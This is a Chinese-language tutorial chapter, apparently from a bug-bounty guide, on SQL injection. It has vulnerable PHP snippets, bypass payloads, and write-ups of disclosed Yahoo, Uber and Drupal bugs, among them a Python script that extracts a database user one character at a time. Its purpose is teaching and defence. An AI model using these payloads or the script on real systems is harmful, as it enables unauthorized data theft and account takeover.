當資料庫支撐的網站允許攻擊者用 SQL(Structured Query Language)操控自家資料庫時,便發生 SQL Injection(SQLi)。SQLi 通常獎金高,因為攻擊者可以讀取、改寫、刪除資料,甚至為自己建立管理員帳號

SQL 與資料庫基礎#

關聯式資料庫以表(table)欄(column)列(row) 儲存資料。本章用 MySQL 為例,但概念可推及 PostgreSQL、MSSQL 等。

範例查詢:

SELECT name FROM users WHERE id = 1;

SQLi 的成因#

考慮一段未 sanitize 的 PHP:

$name = $_GET['name'];
$query = "SELECT * FROM users WHERE name = '$name' ";
mysql_query($query);

正常輸入 peter 沒事;但攻擊者送出:

?name=test' OR 1='1

最終 query 變成:

SELECT * FROM users WHERE name = 'test' OR 1='1';

1='1' 永遠為真,整張 users 表都會被回傳。

注意 payload 中那個懸空單引號——它要與 PHP 字串原本的結尾單引號配對,整體 SQL 才會語法正確。

多個條件下的繞過#

當查詢有多個條件且其他被 sanitize:

$name = $_GET['name'];
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT * FROM users WHERE name = '$name' AND password = '$password' ";

OR 1='1 之後會接 AND password = '12345',不一定為真。改用 ;-- 把後面註解掉:

?name=test' OR 1='1;--

最終 query:

SELECT * FROM users WHERE name = 'test' OR 1='1';-- AND password = '12345'

MySQL 的 -- 註解後必須有空格,否則 query 會直接報錯。

防禦:Prepared Statements 與框架#

  • Prepared Statements:把 query 當作模板,變數另外綁定——即使輸入未 sanitize,也無法改變 query 結構
  • Web 框架(Rails、Django、Symfony)內建防護,但不是萬靈丹:開發者寫不慎或繞過 ORM 仍會出問題
  • 老站、自訂程式或舊版 CMS 仍是 SQLi 高發地

Rails 中常見的 SQLi 模式可參考 https://rails-sqli.org/

案例 1:Yahoo! Sports Blind SQLi#

  • 難度:中
  • URLhttps://sports.yahoo.com
  • 回報日期:2014-02-16
  • 獎金:$3,705

什麼是 Blind SQLi#

Blind SQLi(盲注)發生在無法直接看到 query 輸出的情況下,必須比對「正常 vs 修改後」回應的差異來推測資料。

漏洞描述#

研究者 Stefano Vettorazzi 在球員搜尋 URL 觀察結果差異:

sports.yahoo.com/nfl/draft?year=2010&type=20&round=2
sports.yahoo.com/nfl/draft?year=2010--&type=20&round=2

加了 -- 後返回的球員清單不一樣——說明 year 被注進 SQL,後段查詢被註解掉。

Figure 9-1: Yahoo! 球員搜尋的原始(未修改 year 參數)結果

Figure 9-2: Yahoo! 球員搜尋——year 參數加上 -- 後的結果

接著用條件式判斷資料庫版本:

(2010)and(if(mid(version(),1,1))='5',true,false))--
  • version():MySQL 取得版本號
  • mid(version(),1,1):取出第一位字元
  • 若該字元是 5 → query 為真,正常返回;否則為假,沒有結果

由此推測各種資料庫資訊。

Figure 9-3: 當條件檢查資料庫版本是否以 5 開頭時,Yahoo! 球員搜尋結果為空

Takeaways#

找 SQLi 不用每次都製造可見的 query 錯誤——觀察微妙的回應差異往往就是 Blind SQLi 的線索。

案例 2:Uber Blind SQLi#

漏洞描述#

研究者 Orange Tsai 收到 Uber 中國的廣告 Email,發現退訂連結帶有 base64 編碼的 p 參數:

http://sctrack.email.uber.com.cn/track/unsubscribe.do?p=eyJ1c2VyX2lkIjogIjU3NTUiLCAicmVjZWl2ZXIiOiAib3JhbmdlQG15bWFpbCJ9

解碼後是 JSON:

{ "user_id": "5755", "receiver": "orange@mymail" }

他在 user_id 後加 and sleep(12)=1

{ "user_id": "5755 and sleep(12)=1", "receiver": "orange@mymail" }

重新編碼後造訪 → HTTP 回應慢了 12 秒,證實 SQLi 存在。

進一步證明#

為提供具體證據,Orange 用 Python 寫腳本暴力萃取 user()(資料庫使用者與主機名)一字元一字元比對:

import json, string, requests
from urllib import quote
from base64 import b64encode

base = string.digits + string.letters + '_-@.'
payload = {"user_id": 5755, "receiver": "blog.orange.tw"}
for l in range(0, 30):
    for i in base:
        payload['user_id'] = "5755 and mid(user(),%d,1)='%c'#" % (l + 1, i)
        new_payload = b64encode(json.dumps(payload))
        r = requests.get('http://sctrack.email.uber.com.cn/track/unsubscribe.do?p=' + quote(new_payload))
        if len(r.content) > 0:
            print(i, end='')
            break

成功萃出 sendcloud_w@10.9.79.210 與資料庫名 sendcloud。Uber 確認雖然漏洞發生在第三方(SendCloud),仍發了獎金。

Takeaways#

  • 留意接受編碼參數的 HTTP 請求——解碼、注入、再編碼回來
  • sleep() 已可作為 PoC;只在被允許的範圍內進一步萃取資料
  • 自動化工具:附錄 A 介紹的 sqlmap

案例 3:Drupal SQLi(CVE-2014-3704)#

背景#

Drupal 是 PHP 寫的 CMS。Drupal core 用 PDO(PHP Data Objects)建立資料庫抽象層,原本以 prepared statement 來防 SQLi。

漏洞描述#

研究者 Stefan Horst 發現 expandArguments 函式處理 IN 子句時的瑕疵。db_query 用法:

db_query("SELECT * FROM {users} WHERE name IN (:name)",
  array(':name' => array('user1', 'user2')));

正常情況 Drupal 會把 placeholder 展開成:

SELECT * FROM users WHERE name IN (:name_0, :name_1)

但如果傳入的是關聯式陣列(attacker 可控):

array(':name' => array('test);-- ' => 'user1', 'test' => 'user2'))

expandArguments 沿用陣列的 key 做 placeholder 字尾,產出:

SELECT * FROM users WHERE name IN (:name_test);-- , :name_test)

攻擊者把註解符號 );-- 注入到 prepared statement 的「模板建立階段」。Prepared statement 的保護假設模板是固定的——但模板本身被竄改,保護失效。

更糟的是 PHP PDO 預設允許多陳述式執行,意味著可以連帶 INSERT 一筆管理員帳號進去。攻擊面是 Drupal 登入功能,匿名使用者也能利用

Takeaways#

找 SQLi 不只是「丟一個單引號」。觀察 URL 參數的結構——把 name=value 改成 name[]=value 變成陣列傳入,常會踢出意外行為。

章末總結#

  • SQLi 是高影響漏洞:可竊取資料、提權、甚至建管理員帳號
  • 找漏洞主要切入點:
    • 未跳脫的單/雙引號落點
    • 接受編碼參數的端點(解碼後注入再編碼回來)
    • 細微的回應差異 → Blind SQLi
    • 改變參數結構(陣列、關聯式陣列、JSON)
  • Prepared statement 強,但模板建立階段仍可能被攻擊
  • PoC 點到為止:sleep()、版本、user 資訊已足以證明,避免直接傾倒敏感資料